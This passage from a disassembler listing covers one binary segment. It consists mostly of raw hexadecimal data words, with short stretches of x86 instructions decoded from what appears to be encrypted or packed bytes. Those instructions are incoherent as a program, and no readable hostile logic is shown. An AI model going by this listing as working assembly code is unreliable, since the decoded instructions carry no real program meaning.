94478C99h, 82E14F3Ch dd 0F72A1361h, 0CDADA04Fh, 0C7A792DDh, 8C53901Ch, 20C81CDCh dd 435BD404h, 0AC78230Fh, 9B902CDAh, 4E1DB176h, 4F752FFAh dd 2EC16403h, 91BB558Bh, 89CA119Eh, 6BDAFF74h, 0D395DE71h dd 0FDE2E5CCh, 0CFD5C7D9h, 23F48AFDh, 0E75ADF23h, 0C5A24AB8h dd 59DD619Ah, 3B9ED148h, 0D64A1DB0h, 8855896Dh, 0A0B24CA9h dd 28ADDE71h, 0F46065A6h, 8522F64Bh, 8F8BA231h, 14025249h dd 2E9F8043h, 0A5065102h, 2112C88Ah, 2006A0C1h, 0AB322517h dd 6B64C7F4h, 7FD4A25Ch, 1D27F3F4h, 0D964675Ch, 36FCAA88h dd 0B43F8292h, 4842B879h, 3025365Dh, 747B2A25h, 0A4B96F1Fh dd 0A73A4997h, 0D90DED72h, 0DF1D3F5Bh, 0D1DCC871h, 0C1153A51h dd 0C0E4F5D5h, 9F0E5310h, 7B9A6CA9h, 2BDAADA2h, 0B195F94Bh dd 381646BAh, 42535680h, 809DC089h, 0B1411ED6h, 0AB129DF6h dd 6383F92Ch, 40735BA6h, 0C6C9352Ah, 4900B690h, 0DA19DEF6h dd 28BBA2DFh, 387118DDh, 86428902h, 69B3D6E7h, 0D639A81Ch dd 18933DE4h, 3576D91Fh, 276265D2h, 0E759C938h, 533F3DCCh dd 2CFD417Ch, 9B86363h, 0B78FD30Dh, 5EE93D15h, 0AC7E96ECh dd 7C300A98h, 5A44371Dh dd 1D595CEEh, 1712CC7Bh, 0B06D0EADh, 0A99AF1EFh, 5B823DD1h dd 0F7E43B07h, 81AE9580h, 24C0CC36h, 0AEC62ECCh, 2A19D4D9h dd 8CBCEC68h, 0A66B3678h, 0A0451296h, 3D7B4926h, 0B71115AFh dd 1221B331h, 6A2B4376h, 5E3A6450h, 0F648EDF1h, 0EC1DE36Ch dd 2D763220h, 0F3783BC8h, 0CA26FB9Fh, 9C0D6E78h, 73A2961Ah dd 0F6F92910h, 0C68E5324h, 5CDD55DFh, 9C2DB8FFh, 54860D2Ch dd 0A105DA24h, 0F7BD1699h, 57C637B4h, 0C617A0F4h, 2DF90E15h dd 0ED95F2CBh, 2392C9BBh, 96030E3Fh, 0C5DE059h, 0F5027D0Eh dd 9D44E35Dh, 0E2A92F83h, 65207DEBh, 0FB84F7D5h, 4F08834Dh dd 0D25FD360h, 0D7905929h, 1E5C4BE9h, 68AFC263h, 0AEB6FB95h dd 0B67690EDh, 821AE4EFh, 10C36792h, 4E8762F8h, 5874A84Ah dd 0EA2E669Fh, 25DF41DFh, 2A29AE15h, 2C308A0Eh, 5B4909C9h dd 0D2F626FCh, 22DDF8F4h, 0E7B5FBB1h, 30326FCFh, 0FD400F92h dd 33DDB8A3h, 62358946h, 0FFE7BBA7h, 0FF28E206h, 0CDE703C3h dd 6C6AF026h, 8B259699h, 3802442h, 0C37D2D07h, 5512DEB5h dd 3FE47F12h, 41E77B0Dh, 5DBD6805h, 33ECD14Eh, 0DB078035h dd 5E90603Bh, 37ACFA65h, 0F4B608E1h, 8AF8397Bh, 0BB529489h dd 0A0C6058Bh, 75E15673h, 48ECCC4Dh, 108692A0h, 258F1524h dd 0E0DDB2A5h, 0B7892FA0h, 644D3DD3h, 0B5631CBFh, 1BEA751h dd 0DD070C06h, 89DA1941h, 0B0E47B16h, 0E5E2A028h, 0CB96B6CFh dd 482692EEh, 0DCC480B7h, 98179F99h, 9D3A01BEh, 91136E35h dd 0AE02B1F2h, 8E1961A4h, 63E6C1A6h, 0EB58F257h, 75D5609h dd 9444F82Ah, 0A89FDBCDh, 9049F473h, 0D7F9A913h, 7941A619h dd 0B9ED2A4Dh, 9B0981C2h, 6991AB36h, 0EA15A7D5h, 0C2E1EB85h dd 0CC70BCEAh, 13C972B9h, 56DDD14Dh, 0C855C0D3h, 87C8439Ch dd 1FAD84BFh, 33BC6015h, 0A27D185Dh, 0CA748F5h, 0B661D9B3h dd 0AF5D86D9h, 7E2C6234h, 3690CCEFh, 4F643A02h, 0BEFE7BE5h dd 9EA3E5Fh, 1A711D30h, 14B9519Ch, 0BCD05CBEh, 1A34C0A7h dd 354F33E1h, 59F8BB84h, 534D381Ch, 663DD5F6h, 2207082h dd 0DAE61B6Eh, 765A18D9h, 4806638h, 34E666BBh, 0E500564Fh dd 0F29402AFh, 75D91040h, 32DFCF33h, 0E1572187h, 3A79A408h dd 0FC725A96h, 0DA126936h, 7F5BB465h, 4050AA40h, 6DE90263h dd 52077D9Eh, 0DA824AE7h, 1C08F5CBh, 45B24A9Bh, 0BE838A3Fh dd 0BB206C7Fh, 3A7E9AE8h, 578FC2ADh, 0EA600B06h, 0D070E1B6h dd 22FA3809h, 0D5ADA28Fh, 0B03672C3h, 1721D3A3h, 9FBC420Ch dd 0DE919A9Ch, 0FC293D3Bh, 0E47237C4h, 0F0D0F480h, 0C000912Bh dd 0E8FEA393h, 2FE6FDE8h, 5BBAA683h, 3AA2EE10h, 0E53039C3h dd 0E81516AAh, 37286F84h, 19FF6405h, 97B750FBh, 93BA5066h dd 0A27C3DF8h, 0A8EC5F06h, 14106FC1h, 8C0FB3AFh, 63CD3FF6h dd 0C3B74C83h, 3B632F8Eh, 8E9DB367h, 6ECB4014h, 0F94E287Ch dd 3E29FFC2h, 3CD34D07h, 0ED583A4Ch, 0A27AA269h, 1D6C1606h dd 0F989F19Ah, 0CCFDE58Ch, 151539A5h, 1542D428h, 0E3C34064h dd 59A5AD22h, 0FAAC3D34h, 8EB21EA5h, 0CE0C8941h, 444F3586h dd 4BA398FDh, 0E7203603h, 0A53DBA6h, 176641BEh, 6BD1243Eh dd 90935B35h, 57A5DA34h, 0DE5B3DD6h, 0A7575BAAh, 0C4CBD813h dd 0CCB7E62Ah, 0E94A4CDCh, 37A2FA43h, 0E22CE1F7h, 62A79D0h dd 0C7CF76B2h, 0DC78D9C6h, 83A5B42Bh, 0B4F3DE35h, 9F6CD339h dd 35677795h, 53158BFBh, 62A19D82h, 0BA10CB2Fh, 58CB748Dh dd 0FBF91B82h, 2E8829D9h, 0FFCD1C99h, 2233B009h, 21D26395h dd 0DD5A363Eh, 428209B3h, 1FF3AF3Ah, 0FC761031h, 61B225C7h dd 0B8E893BAh, 9BF02F62h, 0D7F8AEA2h, 0FE384244h, 8D774A41h dd 91892923h, 80E7E8C5h, 0B7F7B18Bh, 36451A34h, 86FD9ADCh dd 11234433h, 5908858h, 40B039CAh, 0FEB76688h, 52188985h dd 0E526AE34h, 8349838Ah, 8346FC26h, 4B5332A4h, 4E34E134h dd 99292911h, 2A32EC2Bh, 0C0DD9003h, 5A5857F5h, 0DFB3173Bh dd 688E6762h, 9A3DDDDEh, 0ADEBA24Bh, 52EA695Ah, 0BA3691D5h dd 2BC75441h, 57088DEFh, 0B2BC03D3h, 6AD49E18h, 43115FECh dd 0D4F0C294h, 5FFC1C69h, 62CB7F4Ch, 5C375892h, 0ABF908D7h dd 4B5ED9DEh, 2E181615h, 51880E48h, 5F8E6882h, 20736987h dd 7F8ACE54h, 0D4D8E4B0h, 10AB62E2h, 0FFB0DB7Ah, 4B2BD4FBh dd 38B1CCC0h, 384744EAh, 6C133A9Fh, 33473B5Bh, 67C81FD1h dd 90DA6655h, 5F332458h, 1156CB0Bh, 0FE9901A4h, 0EB239B0Ch dd 0CDE1C623h, 703FCFFh, 3FFA050Bh, 9E411F3Bh, 2F6C1580h dd 16A0F4Bh, 3D0FBD85h, 0D6B2F9CCh, 0F4D65B25h, 25CB94D3h dd 9AC60202h, 0E84AE4D3h, 22B9549Fh, 25892E70h, 59AABA8Bh dd 87B34518h, 6A1B5705h, 0D73F7B34h, 8820D66Ah, 4A6CD5C9h dd 0A9EA50EAh, 4D559505h, 0CEB0F51Fh, 18B72E2Fh, 0C8CA0DE8h dd 97DD13FCh, 87F994BEh, 0A5FB11EEh, 3A344F35h, 116C1393h dd 0A596D05Eh, 0DCD4AE45h, 917A9B94h, 55A5638Dh, 563CEB1Fh dd 5E69FB42h, 8E761384h, 0CB2EA2E3h, 30B21ECBh, 0FA2A714Dh dd 0C4449387h, 803F4C57h, 0FF245736h, 7E88CD49h, 92CEFEA5h dd 32C6779Eh, 1DA1F822h, 81B286BFh, 0D20E7AFEh, 0B1B94993h dd 69FDB22h, 3AD6899h, 681BCE9Bh, 2D7230EEh, 0B16702AAh dd 99296929h, 303045E6h, 2CF0F5D2h, 472D1478h, 0A6575FBh dd 0D3333B12h, 0E494F5Dh, 81BB8521h, 0DAC581DCh, 0F041B699h dd 0C3C45C94h, 3A5709Dh, 0D301AE0h, 0DC981EFCh, 22D3700Ah dd 0A56295Eh, 815A52BCh, 5617C1ADh, 9AC3D41h, 0D8187C2h dd 0AB10EA93h, 0E80AF1A9h, 9EE21DDDh, 7BBE5B94h, 28F975F0h dd 0F74E03F2h, 4A58C538h, 4D547780h, 5D7076C4h, 0A4F59BC1h dd 10C57638h, 0FBEE8816h, 73135FA3h, 0ACB634A8h, 37248B2Eh dd 0DD64B945h, 1A4E2C13h, 49851F43h, 25324637h, 940B8169h dd 0C577A72Fh, 0AEAC99D9h, 66EE7C3Fh, 44E41877h, 93F0E90Dh dd 5954A01Dh, 89DD53EFh, 0E2C40354h, 0FD596AE4h, 61D5B0E4h dd 0C1CF9F67h, 0A14F810Eh, 0DAE9A4BFh, 25B0CE24h, 957C48F7h dd 545E7DC0h, 38BB5E45h, 0D97EB399h, 5A269748h, 0EFF4B346h dd 920367BEh, 913A255Bh, 2B323C8Bh, 7FEC834Fh, 8073338Eh dd 747B667Fh, 7356FB51h, 0C35EF7BFh, 823521EDh, 7EFACA28h dd 9A626449h, 0FE99FE53h, 0A7259329h, 0C7A4B916h, 0D77B8AE3h dd 5115DC9Bh, 0C57B1614h, 30899063h, 64F2F341h, 77D295DFh dd 0E0A93768h, 0D0C157ABh, 4B48A164h, 0FF4E4358h, 80C17542h dd 0DF76B46Dh, 0B81BE77Bh, 5981F1FAh, 0B52C2BE5h, 8AF22C9Eh dd 8FBD8353h, 8F523BA0h, 6DF49D69h, 0EE528DD9h, 2299B077h dd 0C554C1DAh, 8EC67F2Eh, 0EB2CA186h, 4C3A6046h, 12AB83E1h dd 0A46EBB5Ch, 66DFDDBh, 54D28730h, 5FEEC2A9h, 0C93E9997h dd 0EB12FE9Bh, 3AFEA6CDh, 615EA6DEh, 4920EBB8h, 0A27B8752h dd 0B9944011h, 4484665Ch, 5B982BC5h, 6EF84E8Dh, 0D529ED41h dd 82676843h, 0AE0F9AFBh, 0ABA160CAh, 0E078BF88h, 5076633Bh dd 707257D4h, 184188DEh, 0C67DB4D6h, 33E2D25Ah, 0E640367Fh dd 456F827Eh, 0F1DE9805h, 0AC90F76h, 548ADC35h, 64D35AAEh dd 0BE30507Fh, 755E48Ch, 4D9194E6h, 0F9E92726h, 0AA78C7E8h dd 467E3A7Ah, 31CB568Eh, 120983EBh, 102CD232h, 0F811D2BBh dd 0E6FAFEEh, 0B72A36ACh, 0DCCB85B8h, 2E5102C6h, 7282FDD0h dd 8FCCBEBAh, 0C32227A2h dd 16F36AA1h, 0A1CFA49Dh, 0EBF314AFh, 0E5C57054h, 0BEC4F401h dd 0CE19C420h, 3B636961h, 1EF1C496h, 0DA3C65DDh, 33389ADAh dd 587DEA29h, 0D50A9D84h, 0EC58409Eh, 0B6722B42h, 0AB48E96h dd 0FD92333Eh, 24B71F8Ah, 0A12A0C9Ah, 7E8804B6h, 8C162D48h dd 434A77F6h, 987635E0h, 0CBA05057h, 0ADD77693h, 24BAF14h dd 699FEF2Ah, 9572BCFDh, 0D6C7A534h, 0FC3A3753h, 70342E85h dd 41CB27Eh, 9ED33511h, 1996D12Fh, 36F9DC31h, 49D00F61h dd 0FD86D664h, 75D50D28h, 29B7FB8Ch, 6C8A55ABh, 8346BE07h dd 0A15B2FF1h, 4BE0B1C0h, 31A3F27Fh, 8C5ABB12h, 7F51121Dh dd 0C2908694h, 68B1A721h, 0CA0EE32Eh, 1B05A012h, 7D758B5Fh dd 7DF94893h, 0FE4AA143h, 6C322C6Bh, 0CD58BE0Fh, 0C28A32AFh dd 0ABBDC281h, 0AC60DB94h, 505A26EEh, 0A059AA2h, 17C955DEh dd 7BA202C2h, 5F5CDE20h, 0A1CBA453h, 4E0F708Ch, 0EC840BBDh dd 0E1F76D31h, 4F4BF4D2h, 0B3BE1812h, 2AE72132h, 3859E025h dd 0A5CF119Ah, 9A1E4B67h, 0FFE99D2Ah, 0BFE80D23h, 0F93D0673h dd 8224B039h, 0D112C45Ch, 19F69402h, 0F0381C7Dh, 0C99B4894h dd 0CACC694Bh, 7CF9401Bh, 5271FFA5h, 0F53BA18Ch, 31FA0D47h dd 701F128Ah, 2D859BA7h, 0FB7B2843h, 97414C3Eh, 0FD53C8B4h dd 439231ABh, 9BC34769h, 5884375Dh, 7A19EDA7h, 0B07EF98Ch dd 0E48184C1h, 459486EAh, 49429609h, 9811F5B9h, 2D726BB2h dd 2EBB59Dh, 8772891Dh, 24EDBBE5h, 717580AAh, 8616ACB6h dd 53F07EF9h, 0CADD6ADFh, 72B2A143h, 70477659h, 92B755C8h dd 3971C293h, 74AEAE41h, 0E845AB14h, 0D06D9BCCh, 0A124AE7Eh dd 0F1805E60h, 4CA2BB76h, 1D23382Ch, 0A39E62B9h, 7A1F2D78h dd 0BC4937B6h, 2172B310h, 78E45E02h, 0C919C731h, 658E4BB3h dd 492D9F7Eh, 5DBC5B20h, 9FE011D5h, 5C67B9A3h, 488F2DBAh dd 7705DDEEh, 0D490F45Dh, 0FF97846Ah, 968399F8h, 0A091D59Ah dd 4C5FA133h, 0B1EC1CFFh, 28831D44h, 8DE0B842h, 0F350910Dh dd 0DEBE493Fh, 0D647D7BAh, 823EA716h, 0BF9981Bh, 0F3D05DD5h dd 39C0AD58h, 0A302749Eh, 0A21958A0h, 8D16F050h, 89EBE004h dd 6B6A3DF1h, 0B48D1EDCh, 58921414h, 0C3154CCEh, 78923876h dd 8B3F5490h, 74E7F286h, 0F69907F7h, 56B1745Ah, 864BE26Ah dd 3E4384B1h, 88259235h, 5F8C2D6h, 0AF2BB957h, 7360207Bh dd 0C5ACB17Ch, 0FAB78CF1h, 74462338h, 687FFAEFh, 0F80F3AE2h dd 0C622117Dh, 4502C8F8h, 50246B22h, 46E93C30h, 0B70F11F1h dd 0D8F8B178h, 0F6326EB0h, 3BE038F3h, 76704156h, 0A7A7644Fh dd 0CB2ED780h, 6CF2E7F2h, 1C112A82h, 24D56DB4h, 5079F7E7h dd 0E74FDD0Eh, 0D2D14467h, 9932CDA0h, 9FA9DB98h, 5A6A09DCh dd 88A8848Bh, 0B6788364h, 7AD8C6E7h, 0EB946428h, 0FB9FB5E4h dd 12C30C20h, 6804CA1Ah, 638EB07Bh, 2F0EA5EBh, 77077316h dd 329DAC41h, 0F28D3AB7h, 0A98C0CD2h, 8C7924Bh, 0DE7CC7DBh dd 2961FE55h, 0A5C5A6D5h, 8CA16294h, 2D2F07B9h, 9BC431Ch dd 0EE427E26h, 2A7C7169h, 0FD9122CCh, 4302B8CFh, 0DC4A3487h dd 54D0696Fh, 5F701047h, 0E13D1B07h, 5BD447D1h, 6106762h dd 12D15C29h, 58378C57h, 8F30CC74h, 8A24757Ah, 0C456DF2Fh dd 0A9610703h, 24C5A38Fh, 4EE18C0Bh, 55A8E5A9h, 0F285603Fh dd 0C58DFFB4h, 0A718C80Bh, 75B98670h, 7A4404A5h, 9AB9373Fh dd 116EB98Fh, 0D6469C81h, 8962DF60h, 0C701CBEEh, 9A3F66D2h dd 0A8DD1508h, 24C02D68h, 7CE5CD67h, 919CEFC1h, 3CD869ACh dd 52227AA0h, 0B1FE0488h, 0A98C7C76h, 8CE4D1Dh, 758BD5EAh dd 0D7C15F15h, 472142A2h, 356619BDh, 4DFB04Eh, 0E3B147ECh dd 3640BA09h, 9EAE3DA7h, 2F2980Ah, 0F9620F93h, 771541AFh dd 710A4CE9h, 6CB0C94Eh, 0FC8991F8h, 0AFD689E2h, 0BDB84B21h dd 0EACCD937h, 0FFC93B48h, 0C3C2072Dh, 0CF65D338h, 0F9E9908Eh dd 0D1F485E0h, 8E7E60CDh, 0F4CDAFB2h, 6423FB59h, 0F28AA1A1h dd 58FB275h, 705A027h, 1B4F7717h, 993B93DBh, 0A3747D8h dd 6DF4B5FBh, 12FA66F8h, 35272D06h, 14B030Ah, 0D525DE85h dd 6B9D4F9Ah, 4D0FCE8Fh, 0E118DCEAh, 981E21D4h, 0BB4BFAF3h dd 3C034E2Eh, 0E5FBECAEh, 0A8DD745Dh, 0EC11FAEEh, 4E0CC577h dd 57B5D233h, 58F9C6B0h, 0EA4DC1DEh, 63A4E29Dh, 3276C435h dd 0B7AA7247h, 2CE8225Dh, 191BF2DAh, 0C9705EC6h, 0ECF5CC50h dd 0BF406A9Ah, 8EC080A9h, 0CD9FA66Fh, 5B7CF71Ah, 5AD715CDh dd 56333EE3h, 8CA19D21h, 125BD30Ch, 2D664E85h, 9FB2031Ah dd 80E5C5F3h, 527E11C0h, 0C29C65FAh, 2DA628C2h, 40DD99C4h dd 3C345070h, 1BF862BBh, 40540575h, 0D2812C63h, 52905415h dd 75360685h, 0DB15EF99h, 0A9573EE3h, 4999840Dh, 0A3C5C855h dd 225E339Ch, 0A0E78F06h, 0BEBDD8Ch, 0B8398E42h, 0BEBD7F9h dd 29E67C82h, 0A778706Bh, 3E0750FBh, 4BBCF71Fh, 0A57A98D9h dd 0F2ECCE53h, 3AC237C2h, 0FFD85B58h, 53B9F92h, 533E2853h dd 6689DDBCh, 0CD29149Fh, 0B46BAF1Eh, 0DD761101h, 5A20FCC4h dd 7C87905Fh, 89758D16h, 56EA87D5h, 0C045EC6Eh, 446DD3BFh dd 9E57FDD9h, 21CBE5A4h, 0A5D31089h, 67EB7C9Ah, 0D6C0581h dd 96FF4FBBh, 0B30A53E1h, 54644BF7h, 0B3E853D4h, 6CA03DF3h dd 3200F5C4h, 0A9A29B1Dh, 48124DE6h, 594421B4h, 0BE2957CEh dd 960F6462h, 61FCAB39h, 0E1C40078h, 4B9F2D1Fh, 0D726F1BAh dd 0A325EA33h, 0BE363BE3h, 0F99B79C6h, 3B1FBAE8h, 0C9D01226h dd 0AF868021h, 0EBD08C6Ch, 7A928293h, 45CFB608h, 0A16DCDD8h dd 835DD722h, 46BD7F0Fh, 0C3C808CCh, 91B8929Ch, 457964CCh dd 0DF990DE4h, 0BEBFF4EAh, 8050B5D9h, 37F90E01h, 2A022327h dd 59793D6Ch, 2E9B35C6h, 54640782h, 9464402Dh, 0D7AB154Fh dd 0E3B7D8E6h, 935C6D15h, 0FA478171h, 0FFA8E25Ch, 0CB27A742h dd 872992DDh, 0BC0B487Ah, 1D300F52h, 7C0E427Dh, 13C34CDh dd 393802A3h, 0BA9EB9D6h, 534A4629h, 0B8481032h, 0A54EC76Dh dd 0CD8EC961h, 0CAEDC34Bh, 1D0A6C1Fh, 0C985B8FAh, 5F92B815h dd 36196442h, 0DAFDE639h, 0E3D2FE2Ah, 5BA148D0h, 0A61953ADh dd 5D03CAA8h, 431D445Ah, 897EE06Bh, 24F4BDA1h, 96616605h dd 0D3527281h, 375C56F9h, 5AC02CB3h, 8EB1424Eh, 0BD30A63Ah dd 6154999Ch, 19D58FC0h, 3292B2D2h, 4C58CAAAh, 17F20180h dd 55BA0CB8h, 95FF8D25h, 1F453BA8h, 87000BD9h, 3227B68h dd 0A8ABFC6Ch, 0B87C90FDh, 0D873D229h, 50AB33D1h, 6448FECEh dd 0BE784692h, 0D5F725F0h, 0BF63A526h, 0ED06FDC7h, 0D134B1F3h dd 2DEAFF56h, 74FC893Bh, 1A287D01h, 0E23ED2Ch, 0D5333EB1h dd 5F30E83h, 1151B7B0h, 0DD97AC2Ch, 2D9E3611h, 39A3BB04h dd 34E4F665h, 0AC80BEF4h, 0C3715C4Eh, 0A7A26C5h, 8B54EC32h dd 8AEB304Fh, 2929FD87h, 0E880488Fh, 9CBC942Eh, 326579D2h dd 79464410h, 0FC67BEDFh, 58E8F600h, 0C89E2FBFh, 4F301C45h dd 79BE7ECBh, 0EE42950h, 3F706C9Fh, 68D97423h, 0E9C33E11h dd 1C135C8Dh, 9D56780h, 0E85D8C7h, 0C08E2864h, 0A6188878h dd 1E1DC500h, 0E139E7F9h, 19112BE1h, 683E0142h, 0FF3CD91Eh dd 48A837C2h, 0CCB6EC5Dh, 0A19EE262h, 5FE3185Fh, 0F78A6781h dd 0B2A56AAAh, 0BA725CB6h, 0FF672152h, 0A8F47832h, 2550CA1Bh dd 5B1B6C1Eh, 7F59DD82h, 9858B5DEh, 0CBE3B76Dh, 25F8A55h dd 0A0358EB5h, 0DBFB92BFh dd 935CBE1Ch, 102A47E8h, 0A521F7B6h, 0A772C6C6h, 9A9EF18Fh dd 74ED9307h, 6A12A5D8h, 0E0E4CA3Ah, 7467893Dh, 7AE70140h dd 34F0ED7Dh, 5018DC15h, 0BE7D6BB2h, 0C8C85F65h, 0A54BA725h dd 9F048118h, 9EF8659Fh, 0AA44FC9Dh, 77513613h, 43B8F2F5h dd 3263EFB7h, 29B6CAD6h, 0EC11F4A7h, 4769FED0h, 75E61B34h dd 9001F8F7h, 9267C159h, 0A6C6E56h, 76C3D289h, 902E9363h dd 72E2D7AAh, 6D2FB44Bh, 1C065EABh, 0FF6BD8ECh, 0C6B5A2DBh dd 44D39DA5h, 0E7989434h, 0D5CDFA0Bh, 14C4AC7Bh, 0DB1A66F5h dd 282B4BCDh, 0DDC2DCB0h, 0A406AE4Eh, 0EE730FA2h, 64C5CE85h dd 0E251CF2Fh, 0DA8107CDh, 0C7E3DE3Ah, 6D9A15A8h, 265647A3h dd 908F5B98h, 0A7066917h, 0B258BDBh, 2F2DD84Bh, 5DC6BCE8h dd 943C579Bh, 8E9EF7CCh, 8FB6E31Ch, 9B7CC5E8h, 0C07C6BF5h dd 9479985h, 1EDF9D00h, 4E744524h, 36D035C3h, 0D30C33F4h dd 84A2D430h, 103A0BF9h, 805004ACh, 8330AFFFh, 0EE862B95h dd 3F9C5D53h, 2EA84033h, 0F91437AEh, 0E68A8EDAh, 0FC2C1E99h dd 0AB7112CBh, 7129B5F3h, 3F30AEC7h, 95B2750Eh, 1E50BFE6h dd 0E95C9F4h, 0C9E5C2D6h, 600C90D0h, 96533C3Dh, 48EDDA3Fh dd 0B405A6D5h, 20D2AFF1h, 3433DF0Ah, 0BFF96986h, 42F31E83h dd 2A2CFAFh, 54823A1Bh, 0DE903802h, 0E4EDACF0h, 79A6BE3Dh dd 55A1DCC7h, 51A5D8ECh, 0FECB65DFh, 6F6280BEh, 0A474324Bh dd 4382E5BAh, 3BABD2EEh, 7F9F236Ah, 6196BFE2h, 0FF9DB87Eh dd 57389832h, 869EEA40h, 0D8806244h, 316AD041h, 0ED4EE1BBh dd 62C3F039h, 33CA7C6h, 27B62C67h, 527040D0h, 6C423292h dd 6651F594h, 63E23F04h, 0B3AC1E19h, 6C221BC8h, 64348E7Ch dd 0D9CCC5F4h, 985C78A9h, 2D767DA0h, 0DD7CDEA3h, 55376585h dd 9F6C4E7h, 197DBABCh, 723DBC57h, 0DA3FD4D8h, 84B62F7Ah dd 0F435FD76h, 45315A8Bh, 2DD1FE9h, 2514BB60h, 0D10FEA7Ch dd 984CCEE3h, 69EBD60Bh, 7285EE20h, 437DB717h, 37AB29DCh dd 50F9A2C5h, 0E489CF1Ch, 0CCB89B3Dh, 0DE7CFC23h, 0B6EEAFB7h dd 2EE83AF9h, 22397A3Bh, 44A23036h, 364B00FBh, 0DD67F848h dd 7F20D571h, 8796B797h, 1ABC5725h, 26D2B286h, 39F7187Ch dd 8A47EA01h, 2BAF5BC6h, 0C3FCE9B9h, 0A3DB19B6h, 0E397DF93h dd 0DB95BC99h, 49BAC356h, 53DD0C6Dh, 449FD4FCh, 9FA4B3CBh dd 0C3DDCC46h, 59942A3h, 427BAA83h, 0C26DBDCCh, 0F3B8FF29h dd 89E18493h, 0FD319FA2h, 98A9886Bh, 0DAAB9BA7h, 99445BAh dd 833F6924h, 0B38F4B0Eh, 18F77904h, 8B628C6Fh, 0C6C3F5FBh dd 0B1794E5Eh, 0D69166DAh, 3B2BBEA9h, 64BC7BB2h, 0D3C019E7h dd 7B806F35h, 9B619171h, 397A7DE8h, 84216E42h, 2A3F15D9h dd 0AA8FE2FFh, 797BDE0Dh, 780B56CBh, 8A165DD7h, 4B701F3Ch dd 39BB0E62h db 90h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_428F6B: ; CODE XREF: DMN0:00429F85j cli mov ds:0B3F2E503h, eax mov ecx, 59411B3Dh and al, 1 shr ch, cl arpl cs:[edx], cx movsd pop esi sbb eax, 14DACB6Dh dec ecx xchg eax, ebx scasd add al, 4Dh pop edi db 36h loope loc_428FD0 inc edi adc ch, [ebx-3Fh] pop ds sahf arpl [edi-61h], ax retf ; --------------------------------------------------------------------------- db 2Fh dd 5EFCB6F2h, 3C0177D2h, 0A24787C4h, 3D8E5054h, 364CF696h dd 7883961Dh, 0EC096E2h, 57D5A7DBh, 85C7C34Bh, 0BAB5DC4Bh dd 1C8AC897h, 290E480Eh, 776338FBh, 0EFD582EFh ; --------------------------------------------------------------------------- loc_428FD0: ; CODE XREF: DMN0:00428F8Aj cmpsb setalc lds edi, [ecx+7D003B16h] add [ebp+eax*4-22D5FD8Bh], esp and esi, 0FFFFFFD3h stosd or [ebx+75h], esp scasd clc cmp esp, [ecx+25h] jbe short near ptr loc_429034+2 loop loc_429034 cmp cl, bl dec edx popf inc eax call far ptr 30C7h:0BFEBD454h cmp bh, dh ; --------------------------------------------------------------------------- db 8Fh, 0BFh, 0F7h dd 0B5BC65AAh, 0B3413314h, 27461183h, 0FB805AD8h, 36DBB75Fh dd 55B2A231h, 0D8191686h, 32770A83h, 88365CC8h, 101B2CF8h dd 52DAB419h, 8FBB2C8Dh, 0B15EAB0Dh ; --------------------------------------------------------------------------- loc_429034: ; CODE XREF: DMN0:00428FEDj ; DMN0:00428FEBj mov esp, 0A89E5E98h inc ebx db 65h sub al, 0EEh ja short loc_4290B1 push esp mov ah, 8 mov edi, 0A7DA6079h ; --------------------------------------------------------------------------- db 8Fh ; --------------------------------------------------------------------------- and ch, bl retf ; --------------------------------------------------------------------------- db 72h dd 0DCEA1E38h, 2E2CE325h, 15D7AE3Dh, 39877E1Ch, 0A33CE729h dd 0B3298308h, 51CF21Fh, 0FB407572h db 3Dh ; --------------------------------------------------------------------------- loc_42906D: ; CODE XREF: DMN0:loc_4290B1j or byte ptr [edx+ecx], 74h xor al, 0D0h jmp short near ptr loc_4290E6+4 ; --------------------------------------------------------------------------- db 0A9h, 81h, 0DAh dd 0ECBCD88Ch, 0E1899715h, 0C75DC5ABh, 6D8A7931h, 530DADE9h dd 6AA393BEh, 69E25B94h, 534E372Bh, 78E0FE96h, 89E0680Eh dd 0BB96F46Bh, 0DC5A85BEh, 0E016B037h, 0A352C92h db 32h ; --------------------------------------------------------------------------- loc_4290B1: ; CODE XREF: DMN0:0042903Dj jle short loc_42906D inc edi lea esi, [ebp+5212137Ah] test al, 8 mov byte ptr [edi], 60h push edi call near ptr 1B40DC6h ; CODE XREF: DMN0:0042911Ej and [eax], ch add esi, [ecx-43h] add ebx, [ebx+3BB50361h] mov bl, 74h jbe short near ptr loc_4290FB+1 rcr byte ptr [edi-1E5806E4h], 1 cmpsd or [eax+ebx*4-5Dh], dl sub [ebx], ecx add [ebx], bh mov al, 0AAh daa loc_4290E6: ; CODE XREF: DMN0:00429073j or eax, 65A34D8h and [eax+esi*4+4A818CAh], dh and [ecx+15h], bh or [edx-0BF773F8h], esp loc_4290FB: ; CODE XREF: DMN0:004290D2j xchg ecx, ebx add eax, 42FD699Bh pop ebp inc eax dec ebp xchg eax, ebp fsubr qword ptr [edi-7E466EDCh] mov bh, 1Fh aam 2Bh bound esp, [eax] jno short loc_42916E bound eax, [ebx] ficom dword ptr ds:760F2AC3h mov cl, 26h jz short near ptr loc_4290C0+3 push ds in al, 0A9h ; Interrupt Controller #2, 8259A out dx, al pop ecx or eax, 0A60E60D2h retf ; --------------------------------------------------------------------------- db 51h dd 58CE1852h, 8B9F42A9h, 5B775246h, 0A047F341h, 0D4D4A071h dd 19F8C82Fh, 571EEEA6h, 0DEC5AB3Ch, 512EF15Dh, 0A3B92167h dd 0EC34C139h, 2C6354FEh, 1394E241h ; --------------------------------------------------------------------------- loc_429160: ; CODE XREF: DMN0:0042919Bj daa outsd xchg eax, edx pushf jge short loc_4291CC dec ebx pminsw mm5, qword ptr [eax-4A2D00B9h] loc_42916E: ; CODE XREF: DMN0:00429112j push edx mov eax, 1F96C039h inc ecx dec ecx or eax, 0F34B63AAh jno short loc_4291AB mov edi, 95C5689Ah in eax, dx ; --------------------------------------------------------------------------- db 8Eh dd 0DD47A73Bh, 7B247DEFh, 0B603BC47h db 9Dh, 5, 8Ah ; --------------------------------------------------------------------------- loc_429193: ; CODE XREF: DMN0:004291DFj js short near ptr loc_4291BB+4 mov ebx, 94DBAB3Fh loc_42919A: ; CODE XREF: DMN0:004291EDj dec eax jl short loc_429160 push 863CD680h push ecx fdiv st, st(2) clc push 0E9454D42h loc_4291AB: ; CODE XREF: DMN0:0042917Bj mov edi, 0A119BC51h xchg eax, edx popf inc edi faddp st(1), st test eax, 1D1647FDh ; CODE XREF: DMN0:004291EFj clc loc_4291BB: ; CODE XREF: DMN0:loc_429193j mov ds:0A89DE23Eh, al jle short loc_429220 cmp al, 0FDh fnsave byte ptr [ebp-6D4714B6h] dec ebx std loc_4291CC: ; CODE XREF: DMN0:00429164j in 